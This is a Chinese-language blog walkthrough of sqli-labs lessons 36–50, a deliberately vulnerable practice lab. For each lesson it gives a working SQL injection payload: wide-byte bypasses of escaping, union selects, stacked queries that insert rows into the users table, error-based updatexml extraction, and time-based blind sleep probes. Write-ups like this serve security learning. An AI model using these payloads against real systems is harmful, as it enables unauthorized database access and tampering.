zoukankan      html  css  js  c++  java
  • 漏洞重温之sql注入(八)

    漏洞重温之sql注入(八)

    sqli-labs通关之旅

    Less-36

    首先,我们现在Url中给出id参数。我们可以根据这个来判断出该位置的注入为get型。接着我们看网站源码。

    根据源码,我们可以看到,网页首先封装了一个函数,这个函数使用mysql_real_escape_string()来过滤我们的输入。

    但是同时,根据sql语句上面的代码块,我们可以发现,网页采用了gbk编码,所以在这个地方,我们可以选择使用宽字节注入来绕过过滤。

    构造payload:

    1%df%27 and 1=2 union select 1,version(),database() -- 
    

    第三十六关,通关。

    Less-37

    从网站页面,可以看出,该位置的注入属于post型,查看源码。

    从代码上,我们可以看到,网站对我们输入的uname参数和passwd参数同样适用了mysql_real_escape_string函数进行转义,同样,在sql语句上面,提示我们这里使用了gbk编码。所以这一关跟36关的区别只是将get型注入转变成了post型。

    payload:

    1%df%27 and 1=2 union select version(),database() -- 
    

    这里我们在uname位置注入和passwd位置注入效果一样。

    第三十七关,通关。

    Less-38

    直接看源码

    首先我们关注mysql_multi_query这个函数,该函数的功能是执行一个或多个针对数据库的查询,多个查询用分毫进行分隔。也就是说,这里可以使用堆叠注入,而只有网站使用了这个函数,才能进行堆叠注入。我们可以在参数后面加上分号,然后在分号后面加入注入的新语句。

    但这里我们使用常规的方法进行注入即可。因为网站对我们的输入没有进行任何转义。

    payload如下:

    1' and 1=2 union select 1,version(),database() -- 
    

    第三十八关,通关。

    Less-39

    查看网站源码。

    跟上一关一样,也是堆叠注入,这里的参数没有任何符号包裹,所以我们可以直接在url中拼接sql语句,不需要闭合。

    payload如下:

    1 and 1=2 union select 1,version(),database()
    

    第三十九关,通关。

    Less-40

    查看网站源码。

    依然是堆叠注入,只是参数外面的包裹字符不同。

    payload:

    1') and 1=2 union select 1,version(),database() -- 
    

    第四十关,通关。

    Less-41

    查看网站源码。

    堆叠注入,无过滤,参数无包裹。

    payload:

    1 and 1=2 union select 1,version(),database() -- 
    

    第四十一关,通关。

    Less-42

    熟悉的登录页面,但是在尝试过新建用户和找回密码全部不可用之后,明白这里不是二阶注入,查看源码。

    可以看到,网页在登录的时候并没有对我们提交的参数进行过滤,同时因为在网页上并没有显示位,所以我们可以利用Insert语句来在数据库中新建一个用户。

    payload如下:

    1';insert into users values(50,'xiaoming','xiaoming') -- 
    

    插入完成。

    第四十二关,通关。

    Less-43

    四十三关也是一样的套路,只是包裹参数的符号从单引号变成了括号单引号。

    payload如下:

    1');insert into users values(60,'xm','xm') -- 
    

    第四十三关,通关。

    Less-44

    四十四关,也是一样的解法。

    payload如下:

    1';insert into users values(77,'xb','xb') -- 
    

    第四十四关,通关。

    Less-45

    套路一致。

    payload:

    1');insert into users values(87,'xiaohong','xiaohong') -- 
    

    第四十五关,通关。

    Less-46

    首先,我们先在Url中添加上sort参数。

    然后,查看源码。

    这里,我们可以看到,这里的sql语句变成了。

    $sql = "SELECT * FROM users ORDER BY %id";
    

    而这里,我们可以利用order by 进行注入。

    最常见的办法就是使用报错注入。

    payload如下:

    1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
    

    第四十六关,通关。

    Less-47

    查看源码。

    套路一样,就是参数外面多了一个单引号包裹。

    payload如下:

    1' and updatexml(1,concat(0x7e,(database()),0x7e),1) -- 
    

    第四十七关,通关。

    Less-48

    这一关的基本套路还是一致的,都是order by注入,但是因为这一关没有打印错误信息的代码,所以我们没办法通过报错注入来获取信息。

    但是order by注入,也是可以使用时间盲注。

    payload如下:

    1 and if(length((database()))<1,1,sleep(0.3))
    1 and if(length((database()))<10,1,sleep(0.3))
    1 and if(substr((database()),1,1)='s',1,sleep(0.3))
    1 and if(substr((database()),1,1)='a',1,sleep(0.3))
    

    因为无法通过截图给你们展示效果,所以payload留下,可以自己尝试,我已经试过了。

    第四十八关,通关。

    Less-49

    四十九关同样也是盲注,但是注意参数外面使用了单引号进行包裹,所以我们的payload里也需要使用单引号进行隔断。

    payload如下:

    1' and if(length((database()))<1,sleep(0.1),1) -- 
    1' and if(length((database()))<10,sleep(0.1),1) -- 
    

    第四十九关,通关。

    Less-50

    可以看到,第五十关是存在报错函数的,也就是说,在这里我们就可以使用报错注入来进行绕过了。

    payload如下:

    1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
    

    第五十关,通关。

    文章未经本人允许,禁止转载。 有技术问题,可加好友讨论。 联系方式:QQ:MjgxMjMxODAzNQ== 微信:bzNycjByLVhpYW9taW5n
  • 相关阅读:
    Cucumber 入门【转】
    unable to find instrumentation target package
    【转】fiddler 请求配置https后出现“你的连接不是私密连接。。。”,处理过程
    DirBuster工具扫描敏感文件
    pycharm常用快捷键
    读取 ini 配置文件
    TypeError: a bytes-like object is required, not 'str'
    日期控件定位处理
    pywin32模块安装
    python:os.path模块常用方法
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/13636758.html
Copyright © 2011-2022 走看看